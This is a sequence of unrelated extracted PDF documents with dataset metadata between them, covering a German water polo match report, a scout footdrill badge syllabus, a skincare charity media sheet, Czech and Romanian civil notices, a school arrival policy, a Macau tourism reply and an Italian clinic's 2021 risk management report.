Magdeburger Team. Vor den letzten acht Minuten führte die WUM damit deutlich mit 6:11. Das Spiel hatte bis dahin viel Kraft gekostet und so brachten die Magdeburger die restliche Spielzeit abgezockt und clever über die Bühne. Die Messestädter erzielten zwar noch zwei Treffer, konnten aber den 8:11 Auswärtssieg des Dammbrück Teams nicht verhindern. Teammanager Tom Hagendorf war mit der Leistung der WUM Verantwortlich: Klaus-Peter Knobloch Wasserball Union Magdeburg e.V. Große Diesdorfer Str. 104a 39110 Magdeburg Tel.:(0391) 7447926 mobil: 0176 70467520 mail:email@example.com http://www.wasserball-union.de http:/www.facebook.com/wasserball.Union zufrieden: „Wir haben ein Viertel gebraucht, um ins Spiel zu kommen. Abspielfehler und Unstimmigkeiten in der Abwehr führten immer wieder zu Rausstellungen oder leichten Toren der Gastgeber. Ab dem zweiten Abschnitt wurde dann deutlich, dass wir beide Punkte mit nach Magdeburg nehmen wollten. Obwohl wir noch viele Chancen liegen gelassen haben, war es dann eine tolle Mannschaftsleistung. Immerhin haben wir in der gesamten zweiten Halbzeit lediglich zwei Gegentreffer zugelassen." Mit dem Auswärtserfolg blieb die WUM auch im zweiten Spiel ungeschlagen und muss am nächsten Wochenende zur zweiten Mannschaft des Bundesligisten SVV Plauen. Hintergrund: Landesgruppe Ost (LGO) Die aktuelle Tabelle ist unter dem beigefügten Link (2. Liga Ost) abrufbar: http://www.dsv.de/wasserball/wettkampf/ergebnisse-tabellen/ LGO Ergebnisse vom Wochenende: SV Zwickau – SC Chemnitz 14:7 SGW Brandenburg – SVV Plauen II 13:7 SWV TuR Dresden – SG Schöneberg 4:5 HSG TH Leipzig - WU Magdeburg 8:11 Aufstellung der Wasserball Union Magdeburg | Nr | Spieler | | Tore | |---|---|---|---| | 1 | Marc | Böer | | | 2 | Christian | Schlanstedt | 3 | | 3 | Tom | Hagendorf | | | 4 | Moritz | Lehnert | | | 5 | Jannis | Bard | | | 6 | Jos-Elias | Schermer | | | 7 | Wilhelm | Block | 3 | | 8 | Lukas | Schulle | 2 | | 9 | Holger | Dammbrück | 2 | | 10 | Tim | Richter | | | 11 | Kiril | Litvin | 1 | | 12 | Hagen | Leditschke | | | 13 | Detlef | Klotzsch | | Das beigefügte Foto ist Eigentum des Vereins. Fotograf Silvio Das Bild zeigt das WUM Team bei der Spielvorbereitung in Leipzig.
<urn:uuid:15585b39-70c9-4414-a813-8776de178158>
HuggingFaceFW/finepdfs/tree/main/data/deu_Latn/train
finepdfs
deu_Latn
3,808
Foot Drill The assessor must be an Assistant Footdrill Instructor, Footdrill Instructor or Senior Footdrill Instructor recognised by the Association. Complete either (A) or (B): (A) Complete the Scout Footdrill Basic Course organised by the District, Region or the Association. (B) Complete the following: 1. Understand the following footdrill definitions: Squad, Dressing, Rank, File, Blank file, Marker, Close order, and Open order. 2. Understand the timing and pacing of footdrill. 3. Understand and able to perform the following footdrill movements correctly: (a) Footdrill at the halt: Position of attention, Stand at ease, Stand easy, Left or right turn, About turn, Inclining, Side pace, Saluting to the front; (b) Footdrill in quick time: Marching in quick time, Halting in quick time, Left or right turn, About turn, Left or right wheel, Salute to the left, right and front, Paying of compliments, Marking Time; (c) Formation: Numbering and sizing, Forming two ranks from three ranks and three ranks from two ranks, Dressing in two / three ranks, Open and close order at the halt, Open and close order in quick time, Dismissing and falling out. 4. Understand the procedures in a parade including: Get on parade, Inspection, March past, Review order, and March off. 5. Participate in a parade or footdrill competition organised by the Group, District, Region or the Association. Completion of this Badge, including a total of six months or above in lecture or practicum, would be counted as an equivalent of relevant item under Skills Section of the Hong Kong Award for Young People Bronze Award. 102 | PROFICIENCY BADGES (PURSUIT)
<urn:uuid:692d341a-52bc-44bb-b817-d81d939af5bc>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
1,643
MEDIA INFORMATION The SkinAngels are a team of campaigning beauty therapists from Exeter's Purity Boutique Spa. Purity's owner, national award winner Mariam Badavi, set up the SkinAngels initiative in 2013 with the aim of sharing knowledge with young people everywhere, enabling them to make informed choices about skin care and skin protection. Mariam, who is a former nurse, comments: "I am really passionate about educating people about skin protection. The SkinAngels are on a mission to show that applying sun cream is important all year round and in addition provide advice to people with common skin conditions such as acne." The SkinAngels have two brand ambassadors who are helping spread their message; Exeter Chief's player Carl Rimmer and Devon-based singer/songwriter Clara Bond. "I am proud to be supporting the SkinAngels in their campaign to raise awareness about the dangers of the sun. As a rugby player I spend a lot of time outdoors and I know that harmful rays can damage the skin even on a cloudy day." "I'm delighted to be joining SkinAngels as a brand ambassador. I really believe in looking after the skin from a young age and hope to help the team spread their important message. I'm even in the process of writing a song inspired by the SkinAngels mission!" Clara comments: The UK charity, Teenage Cancer Trust, is also backing Mariam in her efforts. School Visits and Events The SkinAngels regularly visit schools to educate young people and teachers about skin protection. The presentation lasts 20-30 minutes and is offered free of charge for ages 5 to 18 year olds. The SkinAngels have also attended events including the Exeter Festival of South West Food and Drink, Tour of Britain, Bictonfest and Crealy Tag Rugby Festival. If you are interested in booking the SkinAngels to do a presentation or attend an event please contact Mariam on 01392 420027. Booking the SkinAngels Further information about the SkinAngels can be found at: Web: www.purityboutiquespa.co.uk/skin-angels Twitter: @Skin_Angels Facebook: Skin Angels
<urn:uuid:a3addae3-1a05-4250-91ff-37e059541122>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
2,070
S bolestí v srdci oznamujeme všem příbuzným, přátelům a známým smutnou zprávu, že nás navždy opustila naše drahá a milovaná sestra, švagrová a teta paní Anna Hamalčíková Lipová č. 78 Její srdce dotlouklo v sobotu 27. dubna 2019 ve věku nedožitých 91 let. Za život naplněný láskou a prací poděkujeme mší svatou V SOBOTU 4. KVĚTNA 2019 V 15.00 HODIN v kostele svatého Vojtěcha a svaté Cecílie ve Slavičíně. Po cirkevních obřadech bude uložena na místním hřbitově. S láskou budou stále vzpomínat sestra Jenofka s rodinou sestra Ludmila s rodinou švagrová Marie s rodinou švagrová Hana s rodinou neteře a synovci s rodinami a ostatní příbuzenstvo. Autobus pro smuteční hosty odjede z Lipové ve 14.30 hodin.
<urn:uuid:8494b1c5-4fcc-4fc5-bea8-a0fce6c3e90e>
HuggingFaceFW/finepdfs/tree/main/data/ces_Latn/train
finepdfs
ces_Latn
710
PUBILCATIE Astazi 26 FEBRUARIE 2019 a fost inregistrat declaratia de casatorie a numitilor GECSE LEVENTE avand CNP. XXXXXXXXXXXX cu domiciliul in comuna BATANI sat XXXXXXXXX nr. XXX din județul Covasna si GECSE ARANKA avand CNP XXXXXXXXXXXXXX cu domiciliul in comuna VARSAG sat XXXXX nr. XXX din județul HARGHITA. In temeiul art 283 si 285 din Legea nr. 287/2009 Codul Civil, orice persoana poate face opozitie la casatorie, daca exista un impediment legal sau alte cerinte ale legii nu sunt indeplinite. Opozitia la casatorie se face numai in scris cu aratarea dovezilor pe care sa intemeieaza in termen de 10 zile de la inregistrare. Batani , 26 FEBRUARIE 2019 OFITER DE STARE CIVILA OLAH VERONKA
<urn:uuid:644f9825-a1c1-4245-94d3-d4a2b16aef52>
HuggingFaceFW/finepdfs/tree/main/data/ron_Latn/train
finepdfs
ron_Latn
704
FILE: IDB LINCOLN PUBLIC SCHOOLS Lincoln, Massachusetts STUDENT TIME OF ARRIVAL AND SUPERVISION BEFORE SCHOOL The School Committee is responsible for establishing the hours during which the schools are in operation. Each school building and campus shall be opened fifteen minutes before the start of the school day during which time supervision shall be provided. Students shall not arrive at school prior to this supervised period. Supervision will not be provided prior to the fifteen (15) minutes before the start of the school day and students shall not arrive at school unless prior arrangements have been made with the school principal or child's teacher. Adopted at School Committee Meeting of December 4, 1981 Revised at School Committee Meeting of January 27, 1986 Revised at School Committee Meeting of Revised at School Committee Meeting of June 16, 2011 Deleted: ¶
<urn:uuid:11e801de-e39d-4e15-bd50-ba010f412ece>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
889
澳門特別行政區政府 Governo da Região Administrativa Especial de Macau 旅 遊 局 Direcção dos Serviços de Turismo Resposta à interpelação escrita apresentada pelo Deputado à Assembleia Legislativa, Lam Lon Wai Em cumprimento das instruções do Chefe do Executivo, tendo em consideração os pareceres do Instituto para os Assuntos Municipais (adiante designado por IAM), da Direcção dos Serviços de Economia e Desenvolvimento Tecnológico (adiante designada por DSEDT) e da Sociedade do Metro Ligeiro de Macau, S.A. (adiante designada por MLM), esta Direcção de Serviços apresenta a seguinte resposta à interpelação escrita do Sr. Deputado Lam Lon Wai, de 16 de Fevereiro de 2024, enviada a coberto do ofício n.º 235/E179/VII/GPAL/2024, da Assembleia Legislativa, de 26 de Fevereiro de 2024, e recebida pelo Gabinete do Chefe do Executivo em 28 de Fevereiro de 2024: Por forma a incentivar o sector turístico local e do exterior a introduzir no mercado uma variedade mais ampla de p rodutos e experiência de viagem de Macau e a criar mais oportunidades de negócio e cooperação, esta Direcção de Serviços tem vindo a organizar seminários de promoção, tanto a nível local como a nível internacional, no sentido de estabelecer uma plataforma de intercâmbio e contactos. Paralelamente, foram lançadas em colaboração com as agências de viagens locais ofertas especiais para os mercados estrangeiros, tendo se aproveitado o laço estreito entre as agências de viagens e o sector desses mercados para promover conjuntamente o turismo de Macau. Por seu turno, os planos de apoio financeiro " Desfrutar de Ofertas．Excursão a Macau ", lançados por estes Serviços, t êm como objectivo assegurar as oportunidades de emprego para o sector no per íodo da recuperação económica de Macau pós-pandemia, incentivando e prestando apoio ao sector para que reforce a promoção de excursões de grupo a Macau junto dos turistas do Interior da China, da região de Taiwan e do mercado internacional. Um total de 20 271 excursões 澳門特別行政區政府 Governo da Região Administrativa Especial de Macau 旅 遊 局 Direcção dos Serviços de Turismo apresentaram pedidos de apoio no âmbito destes planos, envolvendo 544 476 visitantes. A fim de promover e aperfeiçoar o modo de excursão de grupo a Macau, esta Direcção de Serviços está a trabalhar com várias organizações para a promoção proactiva de visitas de est udo que permitem a aprendizagem da história e da cultura de Macau. Além disso, pretende-se atrair mais visitantes mediante a oferta de produtos turísticos especiais, incluindo o lançamento de medidas de incentivo direccionadas aos visitantes internacionais de cruzeiros com potencial de consumo atracados no terminal de Hong Kong, para visitarem Macau em excursões. Os pacotes para passeios turísticos já estão à venda em 12 companhias internacionais de cruzeiros para expandir o mercado internacional, assim como promover o desenvolvimento do turismo de ligação entre Hong Kong e Macau, e impulsionar o consumo turístico em Macau. Em princípio de Março deste ano, acolheu-se um grupo de passageiros de cruzeiros internacionais. Ao mesmo tempo, para incentivar ainda mais as associações locais a explorarem uma variedade de recursos turísticos e lançar actividades que combinem diferentes elementos de "turismo+", esta Direcção de Serviços lançou os programas de apoio financeiro do ano de 2024 para o Turismo Comunitário "Viajar por Macau", a Promoção Gastronómica "Sabores de Macau" e o Passeio Marítimo "Diversão na Orla Costeira", foram aprovados um total de 44 actividades, das quais 23 são actividades nocturnas, estimando-se atrair a participação de mais de 1,8 milhão de pessoas. Por outro lado, o Governo da RAEM tem promovido proactivamente o desenvolvimento da economia nocturna. Por consequência, esta Direcção de Serviços tem organizado uma série de eventos de marca durante a noite a realizarem em diferentes meses e 澳門特別行政區政府 Governo da Região Administrativa Especial de Macau 旅 遊 局 Direcção dos Serviços de Turismo em várias zonas, incluindo a "Parada de Celebração do Ano Novo Chinês", o "Concurso Internacional de Fogo de Artifício de Macau" e o "Iluminar Macau"; e tem coordenado os sectores de turismo e as associações para organizar uma série de actividades complementares nos bairros comunitários mostrando o apelo do "turismo+", nomeadamente, "Creative Camp Marketplace", "Arraial do Fogo -deArtifício", "Feira do Festival de Fogo-de-Artifício", "LightUp! F'Art for U", "Iluminar o Paraíso de Gelo e Neve", "Luminescent Night at Travessa do Armazém Velho 2023", etc., envolvendo conteúdos diversificados de apresentações culturais e de entretenimento, gastronomia e tendas culturais e criativos, a fim de atrair visitantes para os bairros comunitários, revitalizar a economia comunitária e aproveitar os efeitos da sinergia de eventos e actividades na economia do turismo. A DSEDT, por sua vez, tem colaborado, ao longo dos anos, com as associações industriais e comerciais das diversas zonas na realização de actividades com características co munitárias, incluindo o "Mercado Nocturno do Pagode do Bazar", que passou a ser uma actividade de consumo nocturno de marca de Macau. Em finais do ano passado, foram também financiadas as associações industriais e comerciais da Zona Norte na realização das "Actividades do Mercado do Distrito Norte de Macau", na qual se reuniram as tendas de gastronomia típica da Zona Norte, os jogos, os benefícios de consumo e sorteios, entre outros elementos, com vista a atrair os turistas e residentes a consumirem naquela zona. Relativamente à pergunta que se refere ao Corredor Verde da Margem Sul e ao Jardim de Terraço da Estação da Barra do Metro Ligeiro, o IAM referiu que, na segunda fase do Corredor Verde da Margem Sul, se prevê a construção de um praça multifuncional para atender às necessidades de espaço para a realização de diversos tipos 澳門特別行政區政府 Governo da Região Administrativa Especial de Macau 旅 遊 局 Direcção dos Serviços de Turismo de eventos de grande escala. Entretanto, a MLM afirmou que vai conjugar as instalações físicas existentes no jardim do Terraço da Estação da Barra com a situação concreta, e tendo e m consideração os diversos factores, para proceder à avaliação da organização de feira nocturna e apresentar sugestões à entidade organizadora. É de salientar que se for criada uma feira regular com características próprias para actividades nocturnas, par a além de ser necessário ponderar o eventual impacto para os moradores e o ambiente envolventes, é ainda necessário proceder a uma avaliação global sobre vários factores das actividades a realizar, nomeadamente, a natureza e a dimensão da actividade, bem como a extensão da concentração efectiva de pessoas para diversas zonas de Macau. Aos 18 de Março de 2024 A Directora da Direcção dos Serviços de Turismo, Maria Helena de Senna Fernandes
<urn:uuid:8c4edbf9-6dd2-4403-b5fd-024cd91e9af9>
HuggingFaceFW/finepdfs/tree/main/data/por_Latn/train
finepdfs
por_Latn
6,871
M-RM-01 UNITA' DI GESTIONE DEL RISCHIO RELAZIONE ANNO 2021 | Preparato da: | Risk Manager e Referente aziendale SIMES Dr. C. Spedini Resp. URP D. Bonardi | 21/01/2022 | |---|---|---| | Verificato da: | Direttore Dipartimento Medicina e Riabilitazione Dr. A. Olivetti Affari Legali Dott.ssa N. Baraldi | 21/01/2022 | | Approvato da: | Direttore Sanitario Dr. S. Visconti DdL Rag. Alberto Bonomini | 21/01/2022 | | Emesso da | Ufficio Qualità Rag. A. Bonomini | 21/01/2022 | | N. revisione | Ed. 1 | 2 | 3 | 4 | |---|---|---|---|---| | Data redazione | 13/03/2019 | 30/06/2020 | 15/03/2021 | 21/01/2022 | M-RM-01 RIFERIMENTI NORMATIVI E BIBLIOGRAFIA ESSENZIALE Legge 8 marzo 2017, n.24 s.m.i.: "Disposizioni in materia di sicurezza delle cure e della persona assistita, nonché in materia di responsabilità professionale degli esercenti le professioni sanitarie" Legge 28 dicembre 2015, n.208 s.m.i. D.Lgs 231/2001 s.m.i. Legge stabilità 2016 s.m.i.: schede di lettura su Risk management in ospedale e disposizioni su personale e nuove assunzioni Norma ISO 9001. UNI ISO 31000 Gestione del rischio -Principi e linee guida Ministero della Salute: Risk Management in sanità- Il problema degli errori, 2004 Ministero della Salute: Metodi di analisi per la gestione del Rischio Clinico, 2010 Ministero della Salute: Protocollo per il monitoraggio degli Eventi Sentinella, 2009 F.Cascini, Risk Management, Guida teorico-pratica per la gestione del rischio sanitario, quaderni AIOP (2017) NIHR, Patien Safety 2030 (2016) traduzione italiana A.Corbella - S.Rondain Regione Emilia Romagna, Dossier 223-2012, Analisi e misurazione dei rischi nelle organizzazioni sanitarie DOCUMENTI COLLEGATI | N. revisione | Ed. 1 | 2 | 3 | 4 | |---|---|---|---|---| | Data redazione | 13/03/2019 | 30/06/2020 | 15/03/2021 | 21/01/2022 | | Redattore | UGR | UGR | Spedini | Spedini | M-DS-01 Scheda segnalazione spontanea eventi INTRODUZIONE Il modello organizzativo raccomandato per la gestione del rischio deve avvalersi delle competenze professionali presenti istituzionalmente, sinergicamente coordinate ed opportunamente formate, il cui obiettivo finale è la sicurezza del paziente; a tale scopo è istituita una Unità di Gestione di Rischio (UGR) a carattere multidisciplinare e multi-professionale dal 01/09/2018 (vedasi IO-RM-01). Sono state definite delle aree specifiche di intervento e sono stati individuati degli obiettivi prioritari da raggiungere nel breve e medio periodo, dopo una generale valutazione della tipologia ed entità dei principali rischi cui è esposta l'azienda. A tal fine l'UGR ha individuato come Area di primario interesse l'analisi finalizzata alla rilevazione di eventi inattesi significativi che si sono focalizzati sulla revisione dei dati resi disponibili dallo storico, in particolare sui seguenti argomenti: * infezioni ospedaliere * appropriatezza trasfusionale * reazioni avverse ai farmaci * infortuni degli operatori * cadute accidentali dei degenti. Il governo del processo di gestione del rischio è pertanto affidato alla Unità di Gestione del Rischio (UGR), con funzioni di programmazione, coordinamento e verifica della effettiva realizzazione di quanto pianificato a livello aziendale. L'Unità di Gestione del Rischio non ha un ruolo strettamente operativo e non solleverà dalle specifiche responsabilità le funzioni formalmente preposte, ma anzi si coordinerà con esse per la migliore realizzazione degli obiettivi individuati. Il personale è stato formato all'utilizzo della Scheda di segnalazione spontanea degli eventi che è lo strumento prioritario per l'analisi dei casi e per l'individuazione delle correzioni da apportare. COMPOSIZIONE UNITA' GESTIONE DEL RISCHIO * Direttore Sanitario * Datore di lavoro con delega alla sicurezza * Risk Manager * Direttore di Dipartimento * Affari Generali e Legali La scheda di segnalazione dell'evento è messa a disposizione di tutta la Struttura e la sua diffusione è supportata da un'adeguata informazione (vedi IO-RM-01) | N. revisione | Ed. 1 | 2 | 3 | 4 | |---|---|---|---|---| | Data redazione | 13/03/2019 | 30/06/2020 | 15/03/2021 | 21/01/2022 | | Redattore | UGR | UGR | Spedini | Spedini | M-RM-01 RISCHIO CLINICO UNITA' DI GESTIONE DEL RISCHIO: RELAZIONE ANNUALE 2021 M-RM-01 Quanto sopra in conformità alla legge 8/03/2017 n. 24 "Disposizioni in materia di sicurezza delle cure e della persona assistita, nonché in materia di responsabilità professionale degli esercenti le professioni sanitarie". Tale previsione richiama anche precedenti indirizzi normativi come quelli contenuti nella legge 28/12/2015 n. 208 "Legge di bilancio" in cui si richiedeva a tutte le strutture pubbliche e private che erogano prestazioni sanitarie, un'adeguata funzione di monitoraggio, prevenzione e gestione del rischio sanitario, attraverso l'effettuazione di percorsi di audit e di altre metodiche finalizzate allo studio di processi interni rivolti alle criticità più frequenti e all'analisi di possibili attività finalizzate ad azioni migliorative dei percorsi sanitari. Assetto Organizzativo Le Case di Cura private ed accreditate con il SSR Villa Gemma e Villa Barbarano, site in Gardone Riviera e Barbarano di Salo' (Brescia), presenti sul territorio fin dal 1946, dispongono di 173 posti letto di cui 144 accreditati, negli ambiti della riabilitazione cardio-polmonare, neurologica, ortopedica, medicina e posti letto subacuti. Un progetto riabilitativo individualizzato (PRI), mirato al miglioramento della qualità di vita e delle performaces dei pazienti affetti da patologie croniche o nell'immediata fase "post acuta" che abbia determinato una riduzione delle preesistenti funzioni ed autonomie, viene elaborato in equipe multispecialistica, con un programma che verrà poi continuato dopo la dimissione. Un efficace confronto con il Territorio è garantito tramite il Servizio ADI della Casa di Cura ed la collaborazione costante con i Medici di Medicina Generale. Il paziente viene inserito in un percorso che parte da una Struttura ospedaliera per acuti e prosegue, dopo il ricovero in Casa di Cura, nel rientro a domicilio garantendo il follow up sanitario e riabilitativo sia ambulatoriale che domiciliare. Sono inoltre presenti Servizi Poliambulatoriali (fisiatria, medicina interna, endocrinologia, cardiologia, pneumologia, ortopedia, oculistica, ORL, dermatologia, ginecologia, urologia) e di Diagnostica per Immagini (risonanza magnetica nucleare RMN, tomografia assiale computerizzata TAC, ecografia, eco color doppler, radiologia convenzionale RX, densitometria ossea DEXA, ambulatorio senologia diagnostica – mammografia, ecografia mammaria, agoaspirato/biopsia mammaria) Laboratorio Analisi, Servizio di fisioterapia, logopedia, neuropsicologia e terapia occupazionale nei quali vengono proposti percorsi diagnostico terapeutici di prevenzione e di screening, con strumentazione d'avanguardia e tecniche diagnostiche di ultima generazione. Dati forniti annualmente dal Sistema Informativo: | | | 2021 | | | |---|---|---|---|---| | | U.O. | ingressi VG | ingressi VB | n. ingressi totali | | MEDICINA | | 362 | 0 | | | RIAB RESPIRATORIA | | 322 | 0 | | | RIAB CARDIOLOGICA | | 397 | 0 | | | RIAB NEUROMOTORIA | | 0 | 718 | | | RIAB SPEC, GG E RIAB MANTENIMENTO | | 67 | 27 | | | SUBACUTI | | 286 | 95 | | | Totale ingressi | | 1434 | 840 | | | N. revisione | Ed. 1 | 2 | 3 | 4 | |---|---|---|---|---| | Data redazione | 13/03/2019 | 30/06/2020 | 15/03/2021 | 21/01/2022 | RISCHIO CLINICO UNITA' DI GESTIONE DEL RISCHIO: RELAZIONE ANNUALE 2021 M-RM-01 | | | 2021 | |---|---|---| | | Prestazioni pazienti esterni (SSN + privati) | n. accessi | | Poliambulatori | | | | Laboratorio Analisi | | | | Diagnostica per Immagini | | | | Servizio Medicina Fisica e Riabilitazione | | | FASI OPERATIVE GESTIONE DEL RISCHIO L'attività di gestione del rischio può essere suddivisa nelle seguenti fasi operative: FASE I: RISK ASSESSMENT La fase di Risk Assesment (accertamento) prevede la mappatura dei rischi e consiste nella raccolta di dati e informazioni, alcuni dei quali hanno valore di indicatori, funzionali all'identificazione dei diversi tipi di rischio esistenti. L'accertamento del rischio viene realizzato ricorrendo a diversi metodi e strumenti di identificazione. L' accertamento può avere come oggetto di indagine situazioni e comportamenti a rischio sottesi a eventi avversi o incidenti accaduti, ed essere rivolto al passato (analisi reattiva) o rivolgersi a situazioni e comportamenti a rischio che potrebbero determinare un evento avverso (analisi pro-attiva). La Casa di Cura si avvale per l'accertamento del rischio di: * controlli amministrativi/SDO * analisi cartelle cliniche * analisi dei sinistri coinvolgenti la sicurezza del paziente * incident reporting * registro infortuni * ispezioni interne, ispezioni enti certificatori * report infezioni * report cadute * sicurezza strutture edilizie, impianti, anti-incendio * valutazione rischi 231 * segnalazioni provenienti dall'utenza - customer satisfaction (temporaneamente sospese causa emergenza COVID-19) Annualmente l'UGR produrrà una relazione per l'ODV che valuta gli eventi potenzialmente rischiosi per la Casa di Cura. | N. revisione | Ed. 1 | 2 | 3 | 4 | |---|---|---|---|---| | Data redazione | 13/03/2019 | 30/06/2020 | 15/03/2021 | 21/01/2022 | | Redattore | UGR | UGR | Spedini | Spedini | RISCHIO CLINICO UNITA' DI GESTIONE DEL RISCHIO: RELAZIONE ANNUALE 2021 M-RM-01 FASE Il: VALUTAZIONE QUALI-QUANTITATIVA La seconda fase della gestione del rischio riguarda la valutazione quali-quantitativa, è un'analisi sui dati e le informazioni emerse dalla fase di accertamento al fine di valutare la significatività del rischio. FASE lII: DECISIONE-RISPOSTA La terza fase operativa riguarda la decisione su come rispondere al rischio stimato e attraverso quali strumenti. I risultati delle fasi precedenti vengono utilizzati per orientare il giudizio, per prendere decisioni e pianificare l'azione. Viene redatto il Piano di gestione del rischio, uno strumento strategico di pianificazione. La realizzazione di un Piano di gestione del rischio implica azioni di carattere preventivo rivolte all'intera azienda e guidate dall'Unità di Gestione del Rischio con lo scopo di: evitare scostamenti dalle norme di legge, dai principi della miglior pratica clinica e dai regolamenti aziendali, indirizzare ad opportuni interventi correttivi sul rischio clinico e gestionale. FASE IV: MONITORAGGIO Il monitoraggio è l'attività mediante la quale si valutano i risultati del processo di gestione, con l'utilizzo degli indicatori, seguendone l'andamento nel corso del tempo. La gestione del rischio consente all'organizzazione di: : * Aumentare la probabilità di raggiungere obiettivi * Incoraggiare una gestione proattiva; * Migliorare l'identificazione delle opportunità e delle minacce; * Soddisfare i requisiti cogenti e le norme internazionali pertinenti; * Migliorare la governance; * Migliorare la confidenza e la fiducia dei portatori di interesse; * Costituire una base affidabile per il processo decisionale e la pianificazione; * Assegnare ed utilizzare efficacemente le risorse; * Migliorare efficacia ed efficienza operativa. * Migliorare la gestione della prevenzione delle perdite e la gestione degli errori MONITORAGGIO DEL RISCHIO I dati messi a disposizione sono quelli raccolti in passato dai Comitati già attivi nella Casa di Cura (CIO, Buon uso del Sangue, Prontuario Terapeutico, monitoraggio Infezioni Ospedaliere e dati RSPP ed Ufficio Tecnico, eventi sentinella, ecc) con l'intento di proporre un'analisi "reattiva" al fine di evidenziare eventuali carenze di sistema che abbiano comportato in passato eventi avversi e che non essendo state corrette, possano tuttora predisporre all'errore. Per quel che concerne le azioni migliorative "proattive", un gruppo composto dai componenti dell'UGR e affiancato da altri operatori coinvolti a seconda della tipologia dell'evento (Comitato Gestione Evento -CGE), analizzerà le segnalazioni pervenute attraverso la scheda di segnalazione o le consuete vie di rilevazione sia degli eventi avversi che coinvolgano i pazienti che degli infortuni sul lavoro coinvolgenti il personale. Particolare attenzione sarà dedicata alle complicanze evitabili ed eventi iatrogeni che hanno coinvolto i pazienti ricoverati. | N. revisione | Ed. 1 | 2 | 3 | 4 | |---|---|---|---|---| | Data redazione | 13/03/2019 | 30/06/2020 | 15/03/2021 | 21/01/2022 | | Redattore | UGR | UGR | Spedini | Spedini | ASA DI URA ILLA C C V GEMMA RISCHIO CLINICO UNITA' DI GESTIONE DEL RISCHIO: RELAZIONE ANNUALE 2021 M-RM-01 FORMAZIONE Il mantenimento, il consolidamento ed il miglioramento della qualità delle risorse umane, riconosce come primo passo la diffusione della conoscenza del problema del rischio clinico, all'interno dei reparti e la programmazione di un progetto di formazione aziendale in "Risk Management" rivolto a medici, caposala, ed operatori sanitari. Con questi corsi, l'Ufficio Formazione accreditato come Provider dalla Regione Lombardia, si occupa dell'organizzazione ed attuazione di progetti ed eventi, riconosciuti secondo le regole del CPD (Continuous Professional Developement). INTERVENTI FORMATIVI | | EVENTI 2021 | DATA | |---|---|---| | FORMAZIONE SULL'EFFETTUAZIONE E SULLA PROCEDURA DEI TEST ANTIGENICI (RAPID DIAGNOSTIC TEST AG-RDTS) | | | | SICUREZZA DEL PAZIENTE RISK MANAGEMENT E RESPONSABILITA' PROFESSIONALE | | | | DIFFICOLTA' NELLA COMUNICAZIONE CON IL PAZIENTE E I CARE-GIVER, IN MERITO ALLA GESTIONE/RISOLUZIONE DEI BISOGNI E ALLE ASPETTATIVE RISPETTO ALL'EFFICACIA DEGLI INTERVENTI ATTUATI | | | | PERCORSI CLINICI INNOVATIVI INRIABILITAZIONE: PPG STRESS FLOW E VALUTAZIONE DEL SISTEMA NERVOSO AUTONOMO | | | | BURN OUT E SINDROME POST TRAUMATIVA DA STRESS | | | | PERCORSI CLINICI INNOVATIVI IN RIABILITAZIONE: BIA-ACC E ANALISI CLINICA DELLA COMPOSIZIONE CORPOREA | | | | AGGIORNAMENTI IN OTTICA POST COVID 19 LEGGE 24/2017 | | | | SICUREZZA RISCHIO BIOLOGICO RISCHIO CHIMICO MOVIMENTAZIONE MANUALE CARICHI E PAZIENTI PRIVACY AGGIORNAMENTI E NOVITA' | | | | GESTIONE E PREVENZIONE RISCHIO ATTI DI VIOLENZA SUGLI OPERATORI SANITARI | | | | CORSO CADUTE E CONTENZIONI ASPETTI MEDICO LEGALI | | | | LA MATRICE LAVORARE INSIEME EFFICACEMENTE | | | | COMUNICAZIONE E TECNOLOGIE ASSISTIVE | | | | FACILITARE LE DINAMICHE DI GRUPPO CON IL MINDFULNESS | | | | NUOVI ANTICOAGULANTI ORALI NAO | | | | BPCO: DALLA DIAGNOSI ALLA TERAPIA NIV ED USO VENTILATORI | | | | ECG SAPER LEGGERE E DARE UNA PRIMA INTERPRETAZIONE DI BASE PER UN AMAGGIORE SICUREZZA ELEMENTI DI ELETROCARDIOGRAFIA | | | | PAZIENTE DISFAGICO: GESTIONE DEL PERCORSO DIAGNOSTICO, TERAPEUTICO, ASSISTISTENZIALE E RIABILITATIVO | | | | AGGIORNAMENTO SULLA RESPONSABILITA' DA REATO DEGLI ENTI EX DLGS 231/2001 | | | | LA GESTIONE DEL PAZIENTE DISFAGICO: STILI COMPORTAMENTALI, PRINCIPI NUTRIZIONALI E CORRETTA ALIMENTAZIONE | | | | N. revisione | Ed. 1 | 2 | 3 | 4 | |---|---|---|---|---| | Data redazione | 13/03/2019 | 30/06/2020 | 15/03/2021 | 21/01/2022 | M-RM-01 SCHEDE SEGNALAZIONE SPONTANEA EVENTI | | | | | | 2021 | | | | |---|---|---|---|---|---|---|---|---| | | N. | | REPARTO/SERVIZIO COINVOLTO | | N. EVENTI | | N. ACCESSI | % | | 1 | | SERVIZIO MEDICINA FISICA E RIAB. | | 1 | | 5.720 | | | | 2 | | U.O. DEGENZA | | 10 | | 2274 | | | | 3 | | U.O. DIAGNOSTICA PER IMMAGINI | | 0 | | 21.510 | | | | 4 | | U.O. POLIAMBULATORIO | | 0 | | 25.478 | | | EVENTI SENTINELLA | | 2021 | | | |---|---|---|---| | REPARTO/SERVIZIO COINVOLTO | N. EVENTI | N. ACCESSI | % | RECLAMI | | | | | 2021 | |---|---|---|---|---| | | AMBITO | | DIMENSIONE | N. CASI | | INFORMAZIONE/ORIENTAM ENTO | | LOGISTICA (spazi, segnaletica, percorsi) | | | | | | COERENZA TRA BISOGNI ESPRESSI E RISPOSTA OTTENUTA (presa in carico) | | | | | | AMMINISTRATIVA (modulistica, ticket, orari ecc.) | | | | CONDIZIONI DELL'ACCESSO | | ACCESSO TELEFONICO, WEB, MAIL, FARMACIE, MMG, PLS | | | | | | ACCESSO CON MEZZI PUBBLICI | | | | | | ACCESSO CON MEZZI PRIVATI (segnaletica, parcheggi etc.) | | | | COMUNICAZIONE E RELAZIONE | | RAPPORTO CON L'OPERATORE (identificazione, modalità relazione, completezza e comprensibilità delle informazioni sullo stato di salute) | | | | | | RAPPORTO CON L'AZIENDA | | | | | | CONSENSO INFORMATO | | | | ASPETTTI STRUTTURALI, AMBIENTALI E SICUREZZA | | BARRIERE ARCHITETTONICHE | | | | | | SICUREZZA | | | | | | COMFORT (Vitto, pulizie, arredi e attrezzature ecc) | | | | RISPETTO DEI DIRITTI | | DATI SENSIBILI (codice privacy 196) | | | | 